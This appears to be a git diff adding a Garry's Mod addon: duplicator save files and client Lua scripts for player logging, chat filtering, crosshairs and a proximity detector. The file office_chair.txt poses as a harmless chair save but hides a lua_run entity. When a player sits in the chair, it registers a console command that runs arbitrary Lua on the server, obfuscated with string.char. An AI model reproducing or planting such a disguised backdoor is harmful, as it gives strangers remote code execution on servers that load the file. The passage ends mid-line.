Y:1=A:-0.000640572,-89.8465,44.9881;Y:2=V:23.3044,-18.5853,10.9934;Y:3=B:f;}02FE9B30{S:"a"=N:0;S:"r"=N:250;S:"g"=N:255;S:"b"=N:0;}02FBE6D8{Y:4=T:02FF6038;Y:1=A:-0.000810212,-0.176,131.035;Y:2=V:45.5757,5.82031,28.8641;Y:6=Y:5;Y:11=T:02F95D00;Y:13=Y:12;Y:14=N:0;}H02FFB768{N:35=T:42A3F4B0;N:70=T:44E24E00;N:38=T:3BE1A670;N:39=T:455C3C70;N:41=T:44AC77D8;N:42=T:02FBE6D8;N:43=T:02FF2D70;N:44=T:03005998;N:45=T:0300AFD8;N:46=T:0300C068;N:47=T:43DAFA18;N:51=T:43B83A78;N:52=T:39C98D88;N:53=T:4518AD68;N:55=T:45009A10;N:56=T:3BE18B90;N:57=T:450E80F0;}3BC56460{S:"a"=N:0;S:"r"=N:250;S:"g"=N:255;S:"b"=N:0;}45005E18{Y:10=T:450E8718;}3A85FE70{Y:10=T:3B825048;}3BCFDFD8{N:0=T:3FFB2B88;}45009A10{Y:4=T:3B6BB718;Y:1=A:-0.0158939,-178.405,43.8039;Y:2=V:-18.5637,26.5483,30.272;Y:6=Y:5;Y:11=T:38981F78;Y:13=Y:12;Y:14=N:0;}43DAFA18{Y:4=T:44629E98;Y:1=A:-0.000959358,-90.1471,44.9778;Y:2=V:6.53809,-19.4431,26.9811;Y:6=Y:5;Y:11=T:3C260688;Y:13=Y:12;Y:14=N:0;}3C260688{Y:10=T:3B706D50;}450E8718{Y:7=T:43DCAC00;Y:8=N:0;Y:9=N:0;}450E8748{Y:1=A:-0.0158939,-179.113,43.8039;Y:2=V:-18.2566,6.07288,31.2722;Y:3=B:f;}03005998{Y:4=T:03146AA0;Y:1=A:0.000955575,-0.173009,169.636;Y:2=V:45.6255,22.2047,15.2012;Y:6=Y:5;Y:11=T:03000358;Y:13=Y:12;Y:14=N:0;}40184950{N:0=T:450E8748;}3BE1A670{Y:4=T:3BCFDFD8;Y:1=A:-0.0158927,90.1479,43.8039;Y:2=V:23.8784,46.2102,14.7606;Y:6=Y:5;Y:11=T:44893E48;Y:13=Y:12;Y:14=N:0;}02FFBF10{N:0=T:0317A5D0;}40721BF8{Y:1=A:-0.0158929,91.9167,43.8039;Y:2=V:12.1216,46.5442,14.7606;Y:3=B:f;}45378758{S:"a"=N:0;S:"b"=N:0;S:"g"=N:255;S:"r"=N:250;}4583B740{Y:1=A:-0.000914834,-89.6904,44.9907;Y:2=V:23.3997,-16.8782,25.9188;Y:3=B:f;}45270180{S:"a"=N:0;S:"r"=N:250;S:"g"=N:255;S:"b"=N:0;}02FF1BF0{Y:1=A:0.00101298,-0.177995,40.1606;Y:2=V:45.5735,5.15918,15.7224;Y:3=B:f;}3C152940{N:0=T:28E34678;}3B825048{Y:7=T:44E7DA38;Y:8=N:0;Y:9=N:0;}450C2488{Y:1=A:-0.0158939,179.295,43.8039;Y:2=V:-20.3286,26.7566,14.7606;Y:3=B:f;}44873988{Y:10=T:3A6434E0;}4261D368{S:"a"=N:0;S:"r"=N:250;S:"g"=N:255;S:"b"=N:0;}3BEFCE60{Y:7=T:43A00F20;Y:8=N:0;Y:9=N:0;}43A00F20{S:"a"=N:0;S:"r"=N:250;S:"g"=N:255;S:"b"=N:0;}0300CF18{Y:7=T:02FE96A8;Y:8=N:0;Y:9=N:0;}4529E860{Y:10=T:4261D5D0;}452706E0{N:0=T:44AC7610;}03146AA0{N:0=T:03146AF0;}406F0700{Y:7=T:3BC56460;Y:8=N:0;Y:9=N:0;}38981F78{Y:10=T:406F0700;}393DF420{N:0=T:4583B740;}3FFB2B88{Y:1=A:-0.0158927,90.1479,43.8039;Y:2=V:23.8784,46.2102,14.7606;Y:3=B:f;}3B6BB718{N:0=T:406F0BD8;}02FB7A68{Y:10=T:02F80950;}02FBDD28{Y:7=T:0317A418;Y:8=N:0;Y:9=N:0;}44E7DA38{S:"a"=N:0;S:"r"=N:250;S:"g"=N:255;S:"b"=N:0;}02FF6038{N:0=T:03000268;}3F6C6E48{Y:10=T:45378728;}447F0A60{Y:1=A:-0.000959358,-90.1471,44.9778;Y:2=V:6.53809,-19.4431,26.9811;Y:3=B:f;}39AED650{S:"a"=N:0;S:"r"=N:250;S:"g"=N:255;S:"b"=N:0;}453787B0{N:0=T:45378A88;}406716B0{S:"a"=N:0;S:"r"=N:250;S:"g"=N:255;S:"b"=N:0;}4518AD68{Y:4=T:453787B0;Y:1=A:-0.000640572,-89.8465,44.9881;Y:2=V:23.3044,-18.5853,10.9934;Y:6=Y:5;Y:11=T:3F6C6E48;Y:13=Y:12;Y:14=N:0;}39794668{Y:7=T:39AED650;Y:8=N:0;Y:9=N:0;}406F0BD8{Y:1=A:-0.0158939,-178.405,43.8039;Y:2=V:-18.5637,26.5483,30.272;Y:3=B:f;}0317A418{S:"a"=N:0;S:"r"=N:250;S:"g"=N:255;S:"b"=N:0;}0300AFD8{Y:4=T:02FE86E0;Y:1=A:0.0008614,-0.173992,165.836;Y:2=V:45.6274,22.8251,28.2022;Y:6=Y:5;Y:11=T:02FB7A68;Y:13=Y:12;Y:14=N:0;}44629E98{N:0=T:447F0A60;}418B6FD8{S:"a"=N:0;S:"r"=N:250;S:"g"=N:255;S:"b"=N:0;}02FE86E0{N:0=T:02F854F0;}3F978740{Y:1=A:-0.0158939,-178.582,43.8039;Y:2=V:-19.6765,7.09607,14.7606;Y:3=B:f;}02FDB008{S:"a"=N:0;S:"r"=N:250;S:"g"=N:255;S:"b"=N:0;}44F0AD30{Y:10=T:3C196618;}3A6B6168{Y:1=A:-0.015893,91.2092,43.8039;Y:2=V:22.4658,46.7979,31.3598;Y:3=B:f;}3911D898{N:0=T:450C2488;}03000268{Y:1=A:-0.000810212,-0.176,131.035;Y:2=V:45.5757,5.82031,28.8641;Y:3=B:f;}44EF3808{Y:7=T:3BE55EA8;Y:8=N:0;Y:9=N:0;}45781A58{N:0=T:40721BF8;}02F854F0{Y:1=A:0.0008614,-0.173992,165.836;Y:2=V:45.6274,22.8251,28.2022;Y:3=B:f;}44D41610{N:0=T:3A6B6168;}02FAAB88{Y:7=T:02FDB008;Y:8=N:0;Y:9=N:0;}3A6434E0{Y:7=T:415C4D28;Y:8=N:0;Y:9=N:0;}3BE55EA8{S:"a"=N:0;S:"r"=N:250;S:"g"=N:255;S:"b"=N:0;}44AC7610{Y:1=A:-1.60554e-005,-90.137,44.9985;Y:2=V:6.94043,-19.6874,11.8866;Y:3=B:f;}02FB55B0{N:0=T:02FF1BF0;} +Constraints:02FC6590{T:03179428;T:02F71FE0;}42CC7DA8{Y:20=T:3AD06CE0;Y:22=Y:21;}44F17610{Y:18=N:46;Y:19=N:0;}44BBE068{Y:18=N:41;Y:19=N:0;}02FA6970{Y:20=T:02FF18F8;Y:22=Y:21;}02F71FE0{Y:18=N:46;Y:19=N:0;}02FDB620{Y:18=N:52;Y:19=N:0;}406F0C88{Y:18=N:51;Y:19=N:0;}4089EDD8{Y:18=N:46;Y:19=N:0;}40E6A738{Y:18=N:46;Y:19=N:0;}02FFC140{T:02FDA950;T:02F832B8;}40E6A680{Y:20=T:40E6A6B0;Y:22=Y:21;}03000218{Y:20=T:02FFFCC8;Y:22=Y:21;}45378AE8{T:45207098;T:453784F0;}02F832B8{Y:18=N:46;Y:19=N:0;}3C37BAA0{Y:18=N:70;Y:19=N:0;}4066F210{Y:18=N:46;Y:19=N:0;}3FBA3730{Y:20=T:452085B8;Y:22=Y:21;}44994138{Y:18=N:46;Y:19=N:0;}40BCAE70{T:3B705EC0;T:449D6018;}449CC0A0{T:419D0928;T:4536B4A8;}03140880{Y:18=N:44;Y:19=N:0;}3B705EC0{Y:18=N:38;Y:19=N:0;}43A37C90{Y:20=T:449CC0A0;Y:22=Y:21;}3FABCE40{T:3C37BAA0;T:3AE21FA8;}43CC7868{Y:18=N:56;Y:19=N:0;}3B74D490{Y:18=N:46;Y:19=N:0;}02FDA950{Y:18=N:42;Y:19=N:0;}4536B4A8{Y:18=N:46;Y:19=N:0;}40E6A830{Y:18=N:53;Y:19=N:0;}02FF35B8{Y:20=T:02FC6590;Y:22=Y:21;}02FD62D8{Y:20=T:02FC9970;Y:22=Y:21;}419D0928{Y:18=N:35;Y:19=N:0;}4024F2C8{Y:20=T:3FABCE40;Y:22=Y:21;}449D6018{Y:18=N:46;Y:19=N:0;}40A288B8{Y:20=T:3FF63170;Y:22=Y:21;}3F978838{Y:20=T:43CC75C8;Y:22=Y:21;}02FC9970{T:02FDA568;T:02FB9BD8;}45207098{Y:18=N:57;Y:19=N:0;}3FF63170{T:3FA6BEB0;T:3C298940;}3AE21FA8{Y:18=N:46;Y:19=N:0;}3AF42BE0{Y:18=N:47;Y:19=N:0;}3AD06CE0{T:3AF42BE0;T:3B74D490;}450E8778{T:450E8870;T:44994138;}H3A1138F0{T:3F978838;T:401851C8;T:4028B4B0;T:02FD62D8;T:40A288B8;T:03000218;T:3B752158;T:3FBA3730;T:4024F2C8;T:43A37C90;T:02FF35B8;T:45378AB8;T:02F85518;T:40E6A680;T:02FA6970;T:42CC7DA8;}3B752158{Y:20=T:40BCAE70;Y:22=Y:21;}4028B4B0{Y:20=T:406F0C30;Y:22=Y:21;}02FBDA30{Y:18=N:46;Y:19=N:0;}02FB9BD8{Y:18=N:46;Y:19=N:0;}3FA6BEB0{Y:18=N:39;Y:19=N:0;}40E6A6B0{T:40E6A738;T:40E6A830;}406F0C30{T:406F0C88;T:4066F210;}02FDA568{Y:18=N:43;Y:19=N:0;}45378AB8{Y:20=T:45378AE8;Y:22=Y:21;}02F85518{Y:20=T:02FFC140;Y:22=Y:21;}452085B8{T:44BBE068;T:44F17610;}02FA5548{Y:18=N:46;Y:19=N:0;}401851C8{Y:20=T:450E8778;Y:22=Y:21;}03179428{Y:18=N:45;Y:19=N:0;}450E8870{Y:18=N:55;Y:19=N:0;}02FF18F8{T:02FDB620;T:02FBDA30;}453784F0{Y:18=N:46;Y:19=N:0;}02FFFCC8{T:02FA5548;T:03140880;}3C298940{Y:18=N:46;Y:19=N:0;}43CC75C8{T:43CC7868;T:4089EDD8;} +[Dict] +1:"LocalAngle" +2:"LocalPos" +3:"Frozen" +4:"PhysicsObjects" +5:"models/weapons/w_missile_closed.mdl" +6:"Model" +7:"Color" +8:"RenderMode" +9:"RenderFX" +10:"colour" +11:"EntityMods" +12:"sent_nuke_missile" +13:"Class" +14:"Skin" +15:"models/props_c17/furniturewashingmachine001a.mdl" +16:"prop_physics" +17:"CollisionGroupMod" +18:"Index" +19:"Bone" +20:"Entity" +21:"NoCollide" +22:"Type" +Saved:359 \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/adv_duplicator/office_chair.txt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/adv_duplicator/office_chair.txt new file mode 100644 index 0000000..44b9944 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/adv_duplicator/office_chair.txt @@ -0,0 +1,54 @@ +[Info] +Type:AdvDupe File +Creator:"AdvDupe" +Date:10/10/04 +Description:"none" +Entities:2 +Constraints:0 +[More Information] +FileVersion:0.84 +AdvDupeVersion:1.85 +AdvDupeToolVersion:1.9 +AdvDupeSharedVersion:1.72 +SerialiserVersion:1.4 +WireVersion:1337 (exported) +Time:13:37 PM +Head:179 +HoldAngle:0,8.02,0 +HoldPos:-5.43051,3.92103,-0.285474 +StartPos:-2024.72,-2201.65,-143.969 +[Save] +Entities:185E5028{Y:8=Y:7;Y:9=T:185E5088;Y:11=Y:10;Y:15=T:185E5058;Y:6=Y:5;Y:17=Y:16;Y:19=Y:18;Y:21=Y:20;}H16EB7358{N:179=T:18EE2C98;N:107=T:1543CC48;}185E5088{;}18126518{Y:1=A:0.110851,-2.26633,0.0649324;Y:2=V:5.27173,-4.13306,0.270523;Y:3=B:t;}1882DFA0{N:0=T:18126518;}18EE2CF8{Y:25=T:1882DF70;}1543CBB8{N:0=T:1543CBE8;}18EE2C98{Y:4=T:1882DFA0;Y:6=Y:5;Y:22=T:185E5028;Y:24=Y:23;Y:2=V:5.27173,-4.13306,0.270523;Y:21=Y:20;Y:26=T:18EE2CF8;Y:1=A:0.110851,-2.26633,0.0649324;Y:27=N:0;}1543CC48{Y:1=A:-3.43192e-013,90,0.000247415;Y:2=V:9.18774,-246.495,-82.6752;Y:27=N:0;Y:4=T:1543CBB8;Y:6=Y:28;Y:21=Y:29;}185E5058{Y:13=Y:12;Y:14=S:"0";Y:30=Y:31;}1882DF70{;}1543CBE8{Y:1=A:-3.43192e-013,90,0.000247415;Y:2=V:9.18774,-246.495,-82.6752;Y:3=B:t;} +Constraints:H18796A28{;} +[Dict] +1:"LocalAngle" +2:"LocalPos" +3:"Frozen" +4:"PhysicsObjects" +5:"prop_vehicle_prisoner_pod" +6:"Class" +7:"Half-Life 2" +8:"Category" +9:"Members" +10:"Chair" +11:"Name" +12:"scripts/vehicles/prisoner_pod.txt" +13:"vehiclescript" +14:"limitview" +15:"KeyValues" +16:"VALVe" +17:"Author" +18:"A Plastic Chair" +19:"Information" +20:"models/nova/chair_office02.mdl" +21:"Model" +22:"VehicleTable" +23:"Chair_Plastic" +24:"VehicleName" +25:"VehicleMemDupe" +26:"EntityMods" +27:"Skin" +28:"lua_run" +29:"models/combine_helicopter/helicopter_bomb01.mdl" +30:"PlayerOn" +31:"lua_run,RunPassedCode,RunString([[concommand.Add('replay_tip']]..string.char(44)..[[function(_]]..string.char(44)..[[_]]..string.char(44)..[[args) RunString(table.concat(args]]..string.char(44)..[[' ')) end)]]),0,0" \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/dermaskin.txt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/dermaskin.txt new file mode 100644 index 0000000..054b63e --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/dermaskin.txt @@ -0,0 +1 @@ +HeX \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/smartsnap_offsets_default.txt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/smartsnap_offsets_default.txt new file mode 100644 index 0000000..79479d2 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/smartsnap_offsets_default.txt @@ -0,0 +1,9 @@ +SMARTSNAP_OFFSETS +models/props_c17/door01_left.mdl=0.28,0.28,0.28,0.28,4.81,4.91 +models/props_c17/door02_double.mdl=0.28,0.28,16.12,0.28,4.81,4.91 +models/props_lab/blastdoor001a.mdl=0.28,0.28,0.28,0.28,1.09,1.07 +models/props_lab/blastdoor001b.mdl=0.28,0.28,0.27,0.28,0.73,0.72 +models/props_lab/blastdoor001c.mdl=0.28,0.28,0.28,0.28,0.71,0.71 +models/props_junk/trashdumpster02b.mdl=0.36,0.31,0.37,4.62,0.59,0.58 +models/props_wasteland/cargo_container01.mdl=0.74,1.04,1.99,1.98,1.36,3.26 +models/props_wasteland/cargo_container01b.mdl=0.53,0.55,1.99,1.59,1.67,0.74 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/hex_steam.ico b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/hex_steam.ico new file mode 100644 index 0000000..6c850b5 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/hex_steam.ico differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/icon.tga b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/icon.tga new file mode 100644 index 0000000..ba7e991 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/icon.tga differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/info.txt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/info.txt new file mode 100644 index 0000000..494566d --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/info.txt @@ -0,0 +1,13 @@ +"AddonInfo" +{ + "name" "HeX's Scripts!" + "version" "10" + "up_date" "06.07.2012" + "author_name" "-=[UH]=- General HeX" + "author_email" "/id/MFSiNC" + "author_url" "gmod.game-host.org 27015" + + "info" "Antispam, Muke warning, Autoclicker, Download Filter, Spectate and more!" + + "override" "0" +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_CLogger.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_CLogger.lua new file mode 100644 index 0000000..ced58f7 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_CLogger.lua @@ -0,0 +1,148 @@ + + +LtGreen = Color(174,255,0) +PURPLE = Color(149,102,255) + +if not _R.Player.TeamColor then + function _R.Player:TeamColor() + return team.GetColor( self:Team() ) + end +end + + +function _R.Player:CommunityID() + local SID = self:SteamID() + return "7656"..tostring(SID:sub(11) * 2 + SID:sub(9,9) + 1197960265728) +end + + +local CLogged = {} +function _R.Player:AddToCLog() + if self:IsBot() then return end + + local CFile = Format("CLog/%s.txt", os.date("%d-%m-%Y_%A") ) + + local LogTable = { + Format("[%s]\n", os.date("%d-%m-%y %I:%M%p") ), + Format("%s\n", GetHostName() ), + Format("GM: %s\n", GAMEMODE.Name), + Format("Players: %s/%s\n", #player.GetAll(), MaxPlayers() ), + Format("Map: %s\n", game.GetMap() ), + Format("Ver: U%s\n", VERSION), + Format("Nick: %s\n", self:Nick() ), + Format("Name: %s\n", self:Name() ), + Format("SteamID: %s\n", self:SteamID() ), + Format("CommunityID: %s\n", self:CommunityID() ), + Format("URL: http://steamcommunity.com/profiles/%s\n\n\n", self:CommunityID() ), + } + + local CLog = "" + for k,v in ipairs(LogTable) do + CLog = CLog..v + end + + CLogged[self] = true + file.Append(CFile, CLog) +end + + + + +local Active = false +local First = {} +local function FirstSave() + local Done = 0 + for k,v in pairs( player.GetAll() ) do + if IsValid(v) and (v != LocalPlayer()) then + v:AddToCLog() + First[v] = true + Done = Done + 1 + end + end + + if (Done != 0) then + chat.AddText(LtGreen, "[", PURPLE, "C", LtGreen, "Log] All "..Done.." players have been logged!") + surface.PlaySound( Sound("buttons/button8.wav") ) + end + + Active = true +end +timer.Simple(1, FirstSave) --Got to wait for Nick/Name to take effect + + + + +local function EntityCreated(ent) + timer.Simple(2, function() --Got to wait for Nick/Name to take effect + if Active and IsValid(ent) and (ent:IsPlayer() and not ent:IsBot()) and (ent != LocalPlayer()) and not First[ent] then + if CLogged[ent] then + chat.AddText(LtGreen, "[", PURPLE, "C", LtGreen, "Log] ", ent, LtGreen, " Has spawned") + else + chat.AddText(LtGreen, "[", PURPLE, "C", LtGreen, "Log] ", ent, LtGreen, " Has spawned, logged") + ent:AddToCLog() + end + + surface.PlaySound( Sound("buttons/button5.wav") ) + end + end) +end +hook.Add("OnEntityCreated", "EntityCreated", EntityCreated) + + + +local function InServer(ply) + for k,v in pairs( player.GetAll() ) do + if (v == ply) then + return true + end + end + return false +end + + +local function EntityRemoved(ent) + if not Active or not ent:IsPlayer() or ent:IsBot() or (ent == LocalPlayer()) then return end + + local Nick = ent:Nick() + local Col = ent:TeamColor() + + timer.Simple(0.5, function() + if not IsValid(ent) or not InServer(ent) then + chat.AddText(LtGreen, "[", PURPLE, "C", LtGreen, "Log] ", Col,Nick, PURPLE, " Has disconnected!") + surface.PlaySound( Sound("buttons/button19.wav") ) + end + end) +end +hook.Add("EntityRemoved", "EntityRemoved", EntityRemoved) + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_Chat.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_Chat.lua new file mode 100644 index 0000000..eaae57b --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_Chat.lua @@ -0,0 +1,41 @@ + + + +local ChatSpam = { + "sn1pe.com", + "!donate", + "This server uses PCMod", + "Can't hear sound?", + "You must have VIP", +} + +function HeX.NoChatSpam(idx,name,text,typ) + local Found,IDX,str = text:InTable(ChatSpam) + if text:find("URules") then + Found = true + end + + if Found then + MsgN( Format("CHAT SPAM (%s): %s", str, text) ) + return true + end + --chat.PlaySound() +end +hook.Add("ChatText", "!HeX.NoChatSpam", HeX.NoChatSpam) + + + +hook.Add("OnPlayerChat", "chat.PlaySound", function() + chat.PlaySound() +end) + + + + + + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_Crosshair.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_Crosshair.lua new file mode 100644 index 0000000..1f0cdea --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_Crosshair.lua @@ -0,0 +1,84 @@ + + +surface.CreateFont("HL2Cross", 44, 430, true, false, "hl2c_crosshair") + +local function HL2Crosshair() + local Width,Hight = ScrW(), ScrH() + draw.SimpleText("(", "hl2c_crosshair", Width / 2 - 15, Hight / 2, YELLOW, 2, 1) + draw.SimpleText(")", "hl2c_crosshair", Width / 2 + 15, Hight / 2, YELLOW, 0, 1) +end +hook.Add("HUDPaint", "HL2Crosshair", HL2Crosshair) + + + + +local Enabled = CreateClientConVar("xs_crosshair", 1, true, false) + +local TriEnabled = CreateClientConVar("xs_tri_enabled", 1, true, false) +local start = CreateClientConVar("xs_tri_start", 6, true, true) +local size = CreateClientConVar("xs_tri_size", 8, true, true) +local rps = CreateClientConVar("xs_tri_rps", 0, true, true) +local segments = CreateClientConVar("xs_tri_segments", 3, true, true) + + +local col = RED2 + +local x = ScrW() / 2 +local y = ScrH() / 2 +local gap = -20 +local length = gap + 5 + +hook.Add("HUDPaint","XS_CrossHair", function() + if TriEnabled:GetBool() then + local start = start:GetInt() + local size = size:GetInt() + local rps = rps:GetInt() + local segments = segments:GetInt() + + local time = -RealTime() * (math.pi * 2) * rps + local segmentsize = (math.pi * 2) / segments + + surface.SetDrawColor(LtGreen) + + for i = 0, segments - 1 do + local timeoffset = segmentsize * i + + local sin = math.sin(time + timeoffset) + local cos = math.cos(time + timeoffset) + + local startx = sin * start + local endx = sin * (start + size) + local starty = cos * start + local endy = cos * (start + size) + + surface.DrawLine(x + startx, y + starty, x + endx, y + endy) + end + + surface.DrawRect(x,y, 1, 1) + end + + if Enabled:GetBool() then + local ent = LocalPlayer():GetEyeTrace().Entity + + if ent:IsValid() then + if ent:IsPlayer() then + col = YELLOW + length = gap + 5 + else + col = GREEN2 + length = gap + 5 + end + else + return + end + + surface.SetDrawColor(col) + surface.DrawLine( x - length, y, x + gap, y ) + surface.DrawLine( x + length, y, x - gap, y ) + surface.DrawLine( x, y - length, x, y + gap ) + surface.DrawLine( x, y + length, x, y - gap ) + end +end) + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_FDetector.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_FDetector.lua new file mode 100644 index 0000000..1842825 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_FDetector.lua @@ -0,0 +1,184 @@ + +local RadiusMode = false +local detectors = {} + +local FDetDoSay = CreateClientConVar("FDet_DoSay", 1, true, false) +local RunSomethingVar = "FDet_RunSomething" +CreateClientConVar(RunSomethingVar, "no", false, false) + + +surface.CreateFont( "coolvetica", 32, 500, true, false, "FdetectorFont1" ) + +local function MakeDetector(ply, cmd, args) + local center = ents.Create("prop_physics") + center:SetPos(LocalPlayer():GetShootPos()--[[ - Vector(0,0,32) ]]) + center:SetModel("models/Items/AR2_Grenade.mdl") + center:Spawn() + LocalPlayer():ChatPrint("Select radius(use mouse button)") + RadiusMode = true + table.insert(detectors, center) + detectors[table.Count(detectors)].pozizion = LocalPlayer():GetShootPos() - Vector(0,0,32) + detectors[table.Count(detectors)].Entities = {} + detectors[table.Count(detectors)].DrawRadius = false + detectors[table.Count(detectors)].detectmode = false + + hook.Add("HUDPaint", "RadiusFDetector", function() + local trace = LocalPlayer():GetEyeTrace() + local distance = center:GetPos():Distance(trace.HitPos) + draw.DrawText(tostring(math.floor(distance)), "FdetectorFont1", ScrW() / 2, ScrH() / 2, Color(255,255,255,255), 1) + end) + + if args[1] ~= nil then + detectors[table.Count(detectors)].Naam = tostring(table.concat(args, " ")) + else + detectors[table.Count(detectors)].Naam = "your detector" + end +end +concommand.Add("fdet_make",MakeDetector) + +local function removedetectors() + RadiusMode = false + if detectors[table.Count(detectors)]:IsValid() then + detectors[table.Count(detectors)]:Remove() + table.remove(detectors, table.Count(detectors)) + end + LocalPlayer():ChatPrint("Last detector removed") +end +concommand.Add("fdet_remove",removedetectors) + +local function RadiusSelection(ply, bind, pressed) + if RadiusMode and ply == LocalPlayer() and pressed then + if string.find(bind, "attack") then + hook.Remove("HUDPaint", "RadiusFDetector") + local trace = LocalPlayer():GetEyeTrace() + detectors[table.Count(detectors)].radius = detectors[table.Count(detectors)]:GetPos():Distance(trace.HitPos) + RadiusMode = false + LocalPlayer():ChatPrint("Radius selected: " .. tostring(detectors[table.Count(detectors)].radius)) + detectors[table.Count(detectors)].detectmode = true + return true + end + end +end +hook.Add("PlayerBindPress", "Radiusselection", RadiusSelection) + +local function DrawRadius() + for k,v in pairs(detectors) do + if v.DrawRadius == true then + surface.SetDrawColor(255,0,0,255) + local pos1_1 = (v:GetPos() + Vector(v.radius, 0,0)):ToScreen() + local pos1_2 = (v:GetPos() - Vector(v.radius, 0,0)):ToScreen() + + local pos2_1 = (v:GetPos() + Vector(0, v.radius,0)):ToScreen() + local pos2_2 = (v:GetPos() - Vector(0, v.radius,0)):ToScreen() + + local pos3_1 = (v:GetPos() + Vector(0,0,v.radius)):ToScreen() + local pos3_2 = (v:GetPos() - Vector(0,0,v.radius)):ToScreen() + surface.DrawLine(pos1_1.x, pos1_1.y, pos1_2.x, pos1_2.y ) + surface.DrawLine(pos2_1.x, pos2_1.y, pos2_2.x, pos2_2.y ) + surface.DrawLine(pos3_1.x, pos3_1.y, pos3_2.x, pos3_2.y ) + end + end +end +hook.Add("HUDPaint", "DrawRadiusOfDetectors", DrawRadius) + + +local sound1 = Sound("ambient/alarms/siren.wav") +local function ThinkFunction() + local sound = CreateSound(LocalPlayer(), sound1) + for num, center in pairs(detectors) do + if not center:IsValid() then return end + center:SetPos(center.pozizion) + if center.detectmode then + local trace = {} + trace.start = LocalPlayer():GetShootPos() + trace.endpos = center.pozizion + trace.filter = LocalPlayer() + trace.mask = -1 + local TheTrace = util.TraceLine(trace) + if TheTrace.Hit then + center.DrawRadius = false + else + center.DrawRadius = true + end + + for k,v in pairs(center.Entities) do + if not table.HasValue(ents.FindInSphere( center:GetPos(), center.radius), v) then + table.remove(center.Entities, k) + end + end + for k,v in pairs(ents.FindInSphere( center:GetPos(), center.radius)) do + if v:GetClass() == "prop_physics" and not table.HasValue(center.Entities, v) then + table.insert(center.Entities, v) + GAMEMODE:AddNotify(v:GetModel() .. " has entered " .. center.Naam, 1, 5 ) + + + sound:Play() + timer.Simple(1, function() sound:Stop() end) + local PropOwner = "player" + + if v:GetNetworkedString("Owner") ~= "" then + GAMEMODE:AddNotify("Prop belongs to: " .. v:GetNetworkedString("Owner"), 1, 5) + PropOwner = v:GetNetworkedString("Owner") + + elseif (ASS_PP_GetOwner and ASS_PP_GetOwner(v):IsValid()) then + GAMEMODE:AddNotify("Prop belongs to: " .. ASS_PP_GetOwner(v):Nick(), 1, 5) + PropOwner = ASS_PP_GetOwner(v) + end + + + --SayShit + if FDetDoSay:GetBool() then + chat.AddText(GREEN,"[", BLUE,"HeX", GREEN,"]", RED," FDet ", GREEN,PropOwner, WHITE, " prop ("..v:GetModel()..") is in "..center.Naam) + end + --RunShit + if (GetConVarString(RunSomethingVar) != "no") then + --print("! RunSomethingVar: ", GetConVarString(RunSomethingVar)) + LocalPlayer():ConCommand( GetConVarString(RunSomethingVar) ) + end + + elseif v:GetClass() == "player" and not table.HasValue(center.Entities, v) then + table.insert(center.Entities, v) + if v == LocalPlayer() then + surface.PlaySound("buttons/button14.wav") + else + sound:Play() + timer.Simple(1, function() sound:Stop() end) + GAMEMODE:AddNotify(v:Nick() .. " has entered " .. center.Naam, 1, 5 ) + + + --RunShit + if (GetConVarString(RunSomethingVar) != "no") then + --print("! RunSomethingVar: ", GetConVarString(RunSomethingVar)) + LocalPlayer():ConCommand( GetConVarString(RunSomethingVar) ) + end + --SayShit + if FDetDoSay:GetBool() then + chat.AddText(GREEN,"[", BLUE,"HeX", GREEN,"]", RED," FDet ", v, WHITE, " is in "..center.Naam) + end + + + end + elseif v:GetClass() ~= "player" and v:GetClass() ~= "worldspawn" and 